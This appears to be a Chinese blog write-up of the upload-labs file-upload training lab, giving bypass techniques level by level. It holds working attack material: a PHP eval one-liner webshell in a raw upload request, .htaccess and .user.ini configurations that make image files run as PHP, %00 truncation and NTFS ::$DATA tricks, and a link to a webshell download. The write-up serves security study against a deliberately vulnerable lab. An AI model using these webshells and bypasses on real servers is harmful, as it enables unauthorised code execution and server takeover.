upload-labs

upload-labs

第一关(js前端校验文件后缀名)

部分js校验代码

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}
对于这一关我的想法是上传一个php文件,抓包,再直接放包应该可以绕过,事实是抓不到数据包

这种想法是错误的 因为前端js在客户端执行,上传文件时就会检查后缀,php文件是被限制的,会弹窗

为什么抓不到数据包?核心原因:这段代码的核心作用是「阻止表单提交」,校验不通过时会 return false,此时浏览器不会向服务器发送任何请求;只有校验通过后,表单才会提交,你才能抓到数据包。

只有先提交一个合法文件通过校验,才能抓到数据包。先将webshell .php==>.png 抓包后 再改回php 

j3

第二种方法=

在浏览器的设置中禁止使用JavaScript

第二关(MIME类型)

直接上传22.php 抓到数据包修改MIME类型 放包可以上传 没有前端校验

第三关(后端检测文件后缀)

这里是后端接受文件时进行后缀限制,传22.php1即可,但令人头疼的是上传后文件名改变了,不太好连接webshell
只有目标网站apache配置不当时,这样的webshell才会被解析执行

为 .php 和 .html 文件设置 PHP 解析类型

# 在 httpd.conf 或 .htaccess 中添加
AddType application/x-httpd-php .php
AddType application/x-httpd-php .html

只有php1也被设置时 生效

第四关(.htaccess)

在Apache服务器中,.htaccess 是一种目录级别的配置文件,可用于修改文件解析方式、访问控制、URL重写等功能。当文件上传功能存在缺陷时,攻击者可利用它将非PHP后缀文件解析为PHP,从而执行恶意代码。

核心原理 当httpd.conf中AllowOverride设置为All时,.htaccess文件可生效。通过配置AddType、SetHandler或FilesMatch,可将特定扩展名或文件名映射为PHP解析。例如:

AddType application/x-httpd-php .jpg
<FilesMatch "shell.png">
SetHandler application/x-httpd-php
</FilesMatch>
复制
这样,上传的shell.png会被当作PHP执行
<FilesMatch "">     # ""代表目录下所有文件会被php解析
SetHandler application/x-httpd-php
</FilesMatch>

大概意思是 我们为了绕过后端对上传文件后缀名限制 php一句话木马文件后缀改为png 但代码无法解析 用蚁剑也无法连接 此时 上传.htaccess文件可以覆盖原apache配置 让png文件被php解析 然后png木马可以用蚁剑连接 图片马会生效

虚拟机操作系统 Windows Server 2025 Standard
phpstudy集成环境 apache2.4.39  php5.3.29nts

上传.htaccess
<FilesMatch "22.png">
SetHandler application/x-httpd-php
</FilesMatch>

22.png
<?php phpinfo();?>  
#因为访问时发现该文件仍然被当作png处理 所以修改内容排查一句话木马问题 一看还是一样的  发现好像是.htaccess没有生效

询问豆包后 为了验证.htaccess是否生效 
.htaccess内容如下 
deny from all

每一次修改排查问题 一定要重新启动apache

.htaccess生效 那就是png没有被解析 

于是重新搭建一个环境 centos docker部署upload-labs

bash <(curl -f -s --connect-timeout 10 --retry 3 https://linuxmirrors.cn/docker.sh) --source mirrors.tencent.com/docker-ce --source-registry docker.1ms.run --protocol https --install-latested true --close-firewall false --ignore-backup-tips  
##安装docker命令

docker pull c0ny1/upload-labs
##拉取镜像

docker run --name uploads -d -p 9527:80 c0ny1/upload-labs
##运行创建容器 

访问ip+端口 
我的是192.168.152.128:9527

重新上传22.png和.htaccess  访问http://192.168.152.128:9527/upload/22.png
达到了png被php解析的效果

仔细询问ai 两种环境下造成差异的地方在 Windows Apache 的 PHP 多为 FastCGI 模式,SetHandler指令失效,需改用FcgidWrapper/AddHandler fcgid-script;

核心前提说明
PHP 的「Apache 2.0 Handler」模式依赖 线程安全(TS)版本 的 PHP,而你当前用的是 PHP 5.3.29nts(nts = 非线程安全),这是 FastCGI 模式的专属版本。因此第一步需要确认 / 切换到 PHP 5.3.29 的 TS 版本(phpstudy 通常自带,若没有需手动下载)。
分步切换操作(Windows Server 2025 + phpstudy)
步骤 1:确认 phpstudy 中的 PHP 版本类型
打开 phpstudy 面板,点击「PHP 版本」→ 查看已安装的 PHP 5.3.29 是否有「TS」标识:
若有「PHP 5.3.29 (TS)」,直接选择该版本;
若只有 nts 版本,需下载 PHP 5.3.29 TS 版(适配 Apache 2.4),解压到 phpstudy 的 php 目录下(如 D:/phpstudy/php/php5.3.29ts/)。
步骤 2:修改 Apache 主配置文件(httpd.conf)
这是切换 API 的核心步骤,需要替换 FastCGI 相关配置为模块模式配置:
打开 phpstudy → Apache → 配置文件 → 选择「httpd.conf」;
先注释掉所有 FastCGI 相关配置(行首加 #),比如:
apache
# 注释FastCGI加载指令
# LoadModule fcgid_module modules/mod_fcgid.so
# 注释FastCGI与PHP的关联
# AddHandler fcgid-script .php
# FcgidWrapper "D:/phpstudy/php/php5.3.29nts/php-cgi.exe" .php
添加 Apache 模块模式的 PHP 配置(关键):
apache
# 加载PHP 5.3 TS版模块(适配Apache 2.4)
LoadModule php5_module "D:/phpstudy/php/php5.3.29ts/php5apache2_4.dll"
# 指定PHP配置文件目录
PHPIniDir "D:/phpstudy/php/php5.3.29ts/"
# 关联PHP后缀(让Apache识别.php文件)
AddType application/x-httpd-php .php .php5 .png
# 可选:设置默认索引页
DirectoryIndex index.php index.html
注意:php5apache2_4.dll 是 PHP 5.3 TS 版适配 Apache 2.4 的核心文件,nts 版本无此文件(这也是 nts 不能用模块模式的原因)。
步骤 3:修改 PHP 配置文件(php.ini)(可选但建议)
确保 PHP 配置适配模块模式:
打开 D:/phpstudy/php/php5.3.29ts/php.ini;
检查并修改以下项(无则添加):
ini
; 关闭FastCGI相关配置
cgi.fix_pathinfo=0
; 开启模块模式的错误日志(方便排查)
log_errors = On
error_log = "D:/phpstudy/tmp/php_errors.log"
步骤 4:重启 Apache 并验证切换结果
关闭 phpstudy 所有服务(Apache/MySQL),以管理员身份重新打开 phpstudy(Windows Server 2025 必须);
启动 Apache 服务,确保无报错(若报错,检查 httpd.conf 中 php5apache2_4.dll 的路径是否正确);
验证 PHP Server API:
在 phpstudy 根目录(D:/phpstudy/WWW)新建 info.php,内容:
php
运行
<?php phpinfo(); ?>
浏览器访问  http://localhost/info.php ,找到「Server API」项:
若显示 Apache 2.0 Handler → 切换成功;
若仍显示 FastCGI → 检查 httpd.conf 中 FastCGI 配置是否完全注释,或 PHP 版本是否选对 TS 版。
切换后验证 PNG 解析(核心目标)
切换到 Apache 2.0 Handler 后,恢复之前的 .htaccess 配置(无需适配 FastCGI):
apache
<FilesMatch "22.png"> 
    SetHandler application/x-httpd-php 
</FilesMatch>
将 22.png(含 GIF89a<?php phpinfo(); ?>)放在同一目录,访问  http://localhost/22.png ,若显示 PHPinfo 页面,说明解析成功。

上面是ai的解决 png在phpsutdy集成环境中加上.htaccess配置后仍然不能被php解析的解决办法 但php TS版本始终没有找到 大概是phpsutdy版本问题

最后结论:.htaccess文件在PHP 的「Apache 2.0 Handler」模式下可以覆盖apache的配置,将png被php解析,使得图片马生效

第五关(.user.ini)

.user.ini 是 PHP 自定义配置文件
在 PHP 运行模式为 CGI/FastCGI(现在主流服务器都用这个)时:
放在网站目录下
可以自定义当前目录的 PHP 配置
优先级比 php.ini 更高

auto_prepend_file = shell.gif
PHP 在执行任何脚本前,自动先包含 1.jpg 这个文件

php执行任意脚本前,自动包含 如何理解

这里我们对.user.ini进行配置 让php自动包含shell.gif
另外有两个文件 1.php为空  readme.php有内容 接下来会出现什么呢
访问任何一个文件都为shell.gif的内容 
那假如shell.gif为一个木马 那么 我们用菜刀可以连接任何一个文件 任何文件都会是一个木马文件

第六关(大小写绕过 Php被nginx php-fpm解析)

 $file_ext = strtolower($file_ext); //转换为小写
 第六关没有这个函数 可以大小写绕过
 shell.PHp
 但   $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
 文件到后端被重命名了

我浏览器url栏输入1.PHP不知道为什么自动变为1.php 换火狐浏览器又没有出现这种情况 可惜不解析

phpstudy 的apache关了 打开nginx 本质来说 得让1.PhP文件被当作php解析

第七关(空格绕过)

$file_ext = trim($file_ext); //首尾去空

这一关 没有去掉首尾的空格

在windows系统上尝试将木马文件命名为shell.php  .  发现最后文件名变为shell.php   将shell.php上传(改为shell.php  .)
那么 后端去掉.  文件后缀为.php  (有空儿)  在系统里 变为.php(无空格)

第八关(点号绕过)

这一关 没有去点号 
如果说去点号 shell.php. 后缀就会变为.php 在黑名单里
但是 现在 shell.php.不在黑名单里 而系统自动变为shell.php
直接就可以被php解析

第九关(数据流标识绕过)

系统依赖:仅 Windows NTFS 文件系统生效,Linux 无此特性。
校验缺陷:安全逻辑仅校验文件名,未剥离::$DATA等数据流标识。
存储一致性:服务器实际存储时,自动忽略::$DATA及后续标识,保留主数据流。
  
这一关 没有去除数据流标识
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

上传shell.php::$DATA  绕过黑名单 而windows系统默认存储为shell.php

第十关(点空格绕过)

  $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
 这段代码去掉点  空格 构造shell.php.  .   变为shell.php.  由于windows特性   =>shell.php

第十一关(双写绕过)

        $file_name = str_ireplace($deny_ext,"", $file_name);
        将文件名中黑名单部分换为空 只换一次
        
        将文件名改包 为shell.pphphp 置换一次黑名单后为shell.php

第十二关(00GET型截断)

$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
原本代码会将上传的文件保存在save_path下 并重新命名 

POST /upload/Pass-12/index.php?save_path=../upload/ 

我们给抓包修改save_path   POST /upload/Pass-12/index.php?save_path=../upload/shell.php%00

 %00是空字符经过url编码 path空字符后面的字符都会被截断不执行 那么 代码的重命名就失效了
 内容保存在shell.php中 即使限制png文件后缀 最后文件夹里还是会出现php文件

第十三关 (00 POST型截断)

与上一关思路一致  不过传参数改为POST 有些许不同  shell.php后加空格 将空格hex改为00

第十四关 (文件头标识)

$bin = fread($file, 2); //只读2字节
代码读取文件前两个字节判断文件类型    

创建php文件时第一行为空格 后续修改文件前两个字节不会破坏一句话木马

使用010Editor修改前两个字节为 FF D8 图片的标识
上传之后如何让文件马被解析
http://192.168.152.129/upload/include.php?file=upload/1020260331193431.jpg

利用include.php 
任意文件包含漏洞(LFI/RFI)

漏洞点只有一句话:
include $file;
没有任何过滤、没有任何检查、没有白名单,用户传什么路径,PHP 就包含什么文件

图片本身只是二进制数据
但 include 会寻找里面的 <?php ?> 代码并执行
所以图片马必须藏:<?php 后门代码 ?>
再用这个漏洞页面去包含它

第十五关 (getimagesize)

仅校验文件头,未校验文件后缀,可绕过上传 PHP 木马
这段代码看似安全(用了getimagesize读取真实图片类型),但存在致命绕过漏洞。
getimagesize() 只读取文件头判断图片类型,不读取文件内容
二进制文件头(Magic Number)是文件开头的一段特定字节序列,用于标识文件的真实类型。相比文件扩展名,文件头更可靠,因为扩展名可以随意修改,而文件头通常固定且与格式规范绑定。
常见文件头示例:
JPEG:FFD8FF(文件尾 FFD9)
PNG:89504E47(文件尾 AE426082)
GIF:47494638(文件尾 003B)
ZIP:504B0304
RAR:52617221
PDF:255044462D312E
EXE/DLL:4D5A(MZ)
ELF:7F454C46

限制三种后缀 .jpg,.png,.gif

和上一关一样 利用任意文件包含漏洞 连接木马

第十六关(exif_imagetype)

和 getimagesize 安全性一样,都是读取文件头
上一关的gif文件直接拿来用 任意文件包含漏洞利用

上一关的gif文件直接用 任意文件包含来连接

第十七关(二次渲染)

imagecreatefromjpeg = 图片二次渲染

https://wwe.lanzoui.com/iFSwwn53jaf
二次渲染木马 连接密码zoe

第十八关(条件竞争)

第十九关(条件竞争二)

第二十关(黑名单)

upload-19.php/. 效果:
绕过所有后缀白名单(因为最后是 /,不是 .php)
move_uploaded_file() 会 自动去掉末尾的 /.
最终保存成:upload-19.php

把保存名称改为12.php/.

j36

第二十一关(数组绕过)

POST /Pass-21/index.php HTTP/1.1
Host: 192.168.152.129:99
Content-Length: 1054579
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://192.168.152.129:99
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWkyeTlLaJl9XsFU5
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.152.129:99/Pass-21/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryWkyeTlLaJl9XsFU5
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: image/png

<?php @eval($_POST['cmd']);?>
------WebKitFormBoundaryWkyeTlLaJl9XsFU5
Content-Disposition: form-data; name="save_name[0]";

shell.php
------WebKitFormBoundaryWkyeTlLaJl9XsFU5
Content-Disposition: form-data; name="save_name[2]";
Content-Type: image/png

jpg
------WebKitFormBoundaryWkyeTlLaJl9XsFU5
Content-Disposition: form-data; name="submit";   

保存的文件名为1.png 用任意文件包含漏洞连接

posted @ 2026-05-11 20:34  hello422000  阅读(50)  评论(0)    收藏  举报